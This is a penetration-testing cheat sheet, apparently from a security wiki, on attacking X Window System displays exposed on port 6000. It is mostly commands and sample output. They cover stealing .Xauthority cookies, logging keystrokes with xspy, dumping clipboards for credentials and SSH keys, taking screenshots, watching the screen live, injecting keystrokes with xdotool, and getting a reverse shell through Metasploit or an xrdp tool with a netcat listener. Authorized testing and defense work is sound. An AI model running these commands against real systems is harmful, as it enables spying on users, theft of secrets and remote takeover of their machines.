6000 - Pentesting X11

Basic Information

X Window System (X/X11) is a windowing system prevalent on UNIX-based operating systems. If you can connect to a display and present a valid authorization token, you usually get access to a lot more than "just graphics": windows enumeration, clipboard access, screenshots, input sniffing, and input injection are all common post-connection primitives.

Default port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

A display number usually maps to TCP 6000 + <display> and to the local Unix socket /tmp/.X11-unix/X<display>.

Enumeration

Check for anonymous connection:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

If a server is not listening on TCP, remember that a local foothold plus a valid cookie is still often enough to abuse the Unix-domain socket.

Local Enumeration

The file .Xauthority in the user's home folder is used by X11 for authorization. From here:

xxd ~/.Xauthority
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.

Warning

In order to use the cookie you should set the env var: export XAUTHORITY=/path/to/.Xauthority

Useful local triage:

echo "$DISPLAY"
ls -lah /tmp/.X11-unix/
ps -efww | grep -E '[X]org|[X]wayland'
xauth info
xauth list

If you already have code execution as another user, check the environment of GUI-related processes for DISPLAY and XAUTHORITY. If you need a refresher on DISPLAY, see Linux environment variables.

The X server process may also expose the authoritative auth file via the -auth argument, so it is worth checking the full command line of Xorg/Xwayland.

Local Enumeration Session

w
$ w
 23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

In the example, localhost:0 was running xfce4-session.

Verify Connection

xdpyinfo -display <IP>:<display>
xwininfo -root -tree -display <IP>:<display> # Ex: xwininfo -root -tree -display 10.5.5.12:0

Useful follow-up enumeration once connected:

xlsclients -display <IP>:<display>
xprop -root _NET_ACTIVE_WINDOW -display <IP>:<display>
xinput --list --display <IP>:<display>

Keylogging

xspy can sniff keyboard keystrokes.

Sample output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

You can also inspect input devices and monitor events with the X Input extension:

xinput --list --display <IP>:<display>
xinput --test_xi2 --display <IP>:<display>

Clipboard Access

Once authenticated, reading the clipboard is usually trivial:

xclip -display <IP>:<display> -selection clipboard -o
xclip -display <IP>:<display> -selection primary -o
xsel --display <IP>:<display> --clipboard --output

This is useful for credentials, API tokens, copied SSH keys, password-manager pastes, and other short-lived secrets.

Screenshot Capturing

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

First we need to find the ID of the window using xwininfo:

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

For live viewing use:

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } # -w windowID is the one found with xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

A more maintained alternative for shadowing an existing X11 display is xpra:

xpra shadow :0
xpra attach ssh:<user>@<host>:0

Input Injection / UI Abuse

Authenticated X11 access is not limited to observation. You can usually activate windows, type, and send key presses:

WID=$(xdotool search --onlyvisible --name '.*' | head -n 1)
xdotool windowactivate --sync "$WID"
xdotool type --delay 50 'touch /tmp/.x11-pwned'
xdotool key Return

If you target a specific window with xdotool type --window ..., many applications will ignore the event because it is delivered with XSendEvent. Activating the target window first and then using normal keyboard injection is often more reliable.

Get Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Other way:

Reverse Shell: xrdp also allows taking a reverse shell via Netcat. Type the following command:

./xrdp.py <IP:0> --no-disp

In the interface you can see the R-shell option.

Then, start a Netcat listener in your local system on port 5555.

nc -lvp 5555

Then, put your IP address and port in the R-Shell option and click on R-shell to get a shell.

Shodan

  • port:6000 x11

References